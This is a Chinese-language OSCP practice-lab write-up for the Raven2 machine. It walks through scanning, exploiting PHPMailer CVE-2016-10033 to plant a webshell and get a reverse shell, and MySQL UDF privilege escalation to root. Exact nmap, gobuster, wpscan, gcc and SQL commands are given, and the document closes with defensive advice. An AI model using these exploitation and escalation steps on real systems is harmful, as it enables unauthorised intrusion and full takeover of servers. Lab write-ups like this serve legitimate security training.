OSCP靶场52——Raven2
字数 1614 2025-10-14 00:33:59
OSCP靶场52——Raven2 渗透测试实战教学文档
攻击链概览
- 信息收集:端口扫描、目录枚举、WordPress组件识别
- 边界突破:利用PHPMailer插件漏洞(CVE-2016-10033)获取初始访问权限
- 权限提升:通过MySQL UDF提权从www-data用户提升至root权限
关键技术知识点
PHPMailer漏洞(CVE-2016-10033)
- 影响版本:PHPMailer 5.2.16及以下版本
- 漏洞类型:远程代码执行(RCE)
- 利用条件:需要知道邮件发送功能的具体文件路径(如contact.php)
MySQL UDF提权
- 前提条件:
- MySQL以root权限运行
- 具备FILE权限(可写入文件)
- secure_file_priv设置允许文件导出到特定目录
- 核心原理:通过创建用户定义函数(UDF)执行系统命令
详细渗透过程
第一阶段:信息收集
端口扫描
# 快速端口发现
ports=$(nmap -p- --min-rate=1000 -T4 172.16.33.190 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# 详细服务扫描
nmap -A -p$ports 172.16.33.190 > n1.txt
关键发现:
- 80端口:Web服务(潜在的信息源,可能包含SSH密钥或用户名)
- 22端口:SSH服务
- 111、48407端口:可能存在的辅助服务
Web目录枚举
# 使用gobuster进行目录扫描
gobuster dir -u http://172.16.33.190/ -w /usr/share/dirb/wordlists/common.txt -t 10 --timeout 15s --delay 100ms
# 使用dirsearch进行文件类型扫描
dirsearch -u http://172.16.33.190/ -f -e php,txt,pdf,html
重要发现:
- PHPMailer 5.2.16:存在已知RCE漏洞
- WordPress站点:需要进一步枚举
- .DS_Store文件:macOS系统文件(信息价值有限)
WordPress漏洞扫描
wpscan --url http://172.16.33.190/wordpress/ --enumerate vp,vt,u --api-token [TOKEN]
用户枚举结果:发现两个普通用户账户
第二阶段:边界突破
PHPMailer漏洞利用
漏洞验证:
searchsploit PHPMailer
发现两个RCE漏洞利用脚本,选择适合5.2.16版本的进行测试。
关键配置要点:
- 目标路径:必须指定完整Web路径(如
/var/www/backdoor.php) - 目标文件:邮件发送功能页面(
contact.php) - 利用URL:
http://172.16.33.190/contact.php
利用过程:
- 修改漏洞利用脚本中的IP和端口参数
- 设置正确的Webshell写入路径
- 访问webshell获取反向连接
常见问题解决:
- 如果无法弹回shell,检查路径是否正确
- 验证contact.php页面是否确实存在邮件发送功能
第三阶段:权限提升
初始权限评估
获得www-data用户权限后,发现两个普通用户账户,但SSH爆破未成功。
提权路径分析
# 检查以root权限运行的进程
ps -aux | grep root
发现MySQL以root权限运行,符合UDF提权条件。
MySQL UDF提权详细步骤
1. 环境验证
-- 检查文件导出权限
show variables like '%secure_file_priv%';
需要确保该值允许文件导出到系统目录(如/usr/lib/mysql/plugin/)
2. 编译UDF库
# 编译共享库
gcc -g -c 15.c
gcc -g -shared -Wl,-soname,15.so -o 15.so 15.o -lc
3. 数据库操作
use mysql;
-- 创建临时表存储so文件
create table foo(line blob);
-- 将so文件内容插入表中
insert into foo values(load_file('/tmp/15.so'));
-- 将so文件导出到插件目录
select * from foo into dumpfile '/usr/lib/mysql/plugin/15.so';
-- 创建UDF函数
create function do_sysf returns integer soname '15.so';
-- 验证函数创建成功
select * from mysql.func;
4. 执行提权命令
-- 通过UDF函数执行系统命令,反弹root shell
select do_sysf('反弹shell命令');
关键注意事项
PHPMailer漏洞利用要点
- 路径准确性:必须使用绝对路径而非相对路径
- 目标文件确认:确保contact.php确实存在且可访问
- 防火墙规避:注意出站连接可能被防火墙拦截
MySQL UDF提权关键点
- 权限验证:确认MySQL以root运行且具有FILE权限
- 目录权限:确保对
/usr/lib/mysql/plugin/目录有写入权限 - 函数创建:函数名和so文件名需要对应
- 命令执行:通过函数执行系统命令时注意命令格式
防御建议
针对PHPMailer漏洞
- 及时更新PHPMailer到安全版本
- 对用户输入进行严格过滤和验证
- 限制文件上传功能和邮件发送权限
针对MySQL提权
- 避免以root权限运行MySQL服务
- 限制MySQL的FILE权限
- 设置严格的secure_file_priv值
- 定期审计数据库用户权限
总结
本靶场展示了从外部侦察到完全控制服务器的完整攻击链,重点强调了:
- 细致的信息收集对后续攻击的重要性
- 已知漏洞的准确识别和利用
- 多阶段提权路径的识别和利用
- 数据库服务安全配置的关键性
通过掌握这些技术要点,安全人员可以更好地理解真实环境中的攻击手法,并制定相应的防御策略。